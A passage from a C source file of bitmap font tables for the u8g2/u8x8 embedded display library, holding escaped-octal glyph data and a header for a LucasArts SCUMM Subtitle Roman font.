\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\300\\360\\274\\216\\216\\270\\340\\200\\3\\3\\0\\0\\0\\10\\14\\17\\13\\0\\0\\0\\0\\0\\0\\13\"\n  \"\\16\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\370\\370\\212\\212\\311\\11\\30\\70\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\11\\10\\14\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@`$$((\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\11\\11\\11\\15\\7\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@`(,$,\\350\\300\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\11\\11\\11\\15\\7\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@h(   \\350\\310\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\11\\11\\11\\15\\7\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0@`$**$\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\11\\11\\11\\15\\7\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   `@\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14(\\30\\10\\14\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300d$((\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\15\\11\\11\\11\\15\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`(($\\344\\300\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\15\\11\\11\\11\\15\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300h,$,\\350\\300\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\15\\11\\11\\11\\15\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300h( (\\350\\300\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\15\\11\\11\\11\\15\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\4\\350\\350\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\344\\344\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\340\\340\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\350\\350 \\0\\0 \\350\\350\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\14\\10\\10\\4\\17\\17\\10\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-LucasArts SCUMM   Subtitle   Roman-Medium-R-Normal--16-160-72-72-P-88-ISO10646-1\n  Copyright: Copyright Goatmeal 2013\n  Glyphs: 74/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_r[2916] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_r_2x2_r\") = \n  \" z\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0<\\376\\376<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\15\\15\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\16\\0\\0\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@l<\\34\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\16\\0\\0\\0\\0\\0\\0\\0\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\17\\17\\10\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\6\\2\\202\\302f<\\30\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\13\\11\\10\\10\\10\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\6BBB\\346\\274\\30\\0\\0\\0\\0\\0\\0\\0\\2\\6\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\14\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\17\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0>>\\42\\42\\42\\42b\\302\\202\\0\\0\\0\\0\\0\\0\\0\\2\\6\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\374f\\42\\42\\42f\\314\\210\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\2\\302\\342\\62\\32\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\274\\346BBB\\346\\274\\30\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70|\\306\\202\\202\\202\\306\\374\\370\\0\\0\\0\\0\\0\\0\\0\\2\\6\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\26\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\14\\6\\2\\202\\302f<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\13\\13\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\274\\216\\216\\270\\340\\200\\0\\0\\0\\0\\0\\10\\14\\17\\13\\0\\0\\0\\0\\0\\0\\13\"\n  \"\\16\\10\\0\\0\\0\\2\\376\\376BBf\\374\\230\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\14\\36\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\4\\2\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376B\\342\\362\\2\\6\\16\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\11\\10\\14\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376B\\342\\362\\2\\6\\16\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\202\\206\\214\\236\\200\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\4\\17\\17\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376B@@B\\376\\376\\2\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\10\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\15\\10\\14\\17\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376b\\360\\230\\16\\6\\2\\2\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\1\\13\\16\\14\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\10\\10\\10\\10\\14\\16\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\16<\\360\\300\\360<\\16\\376\\376\\2\\0\\0\\0\\10\\17\\17\\10\\0\\0\\1\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\2\\376\\376\\16\\70\\340\\200\\2\\376\\376\\2\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\3\\16\\17\\17\\10\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376BBBf<\\30\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\370\\34\\6\\2\\2\\2\\6\\34\\370\\340\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\34\\70,'\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376BBB\\346\\274\\30\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\10\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\30<&fB\\302\\202\\204\\16\\0\\0\\0\\0\\0\\0\\0\\16\\4\\10\\10\\10\\14\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\6\\2\\376\\376\\2\\6\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\0\\2\\376\\2\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\14\\10\\10\\14\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2>\\376\\302\\0\\0\\302>\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\16\\16\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2>\\376\\302\\0\\302\\376\\376\\302\\0\\0\\302>\\2\\0\\0\\0\\0\\1\\17\\16\\17\\1\\1\\17\\16\\16\"\n  \"\\1\\0\\0\\0\\0\\2\\6\\16\\32\\260\\340\\340\\260\\32\\16\\6\\2\\0\\0\\0\\0\\10\\14\\16\\13\\1\\0\\0\\1\\13\\16\\14\"\n  \"\\10\\0\\0\\0\\0\\2\\16>r\\300\\300r>\\16\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\16\\6\\202\\302\\342r:\\36\\16\\0\\0\\0\\0\\0\\0\\0\\16\\17\\13\\11\\10\\10\\10\\14\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  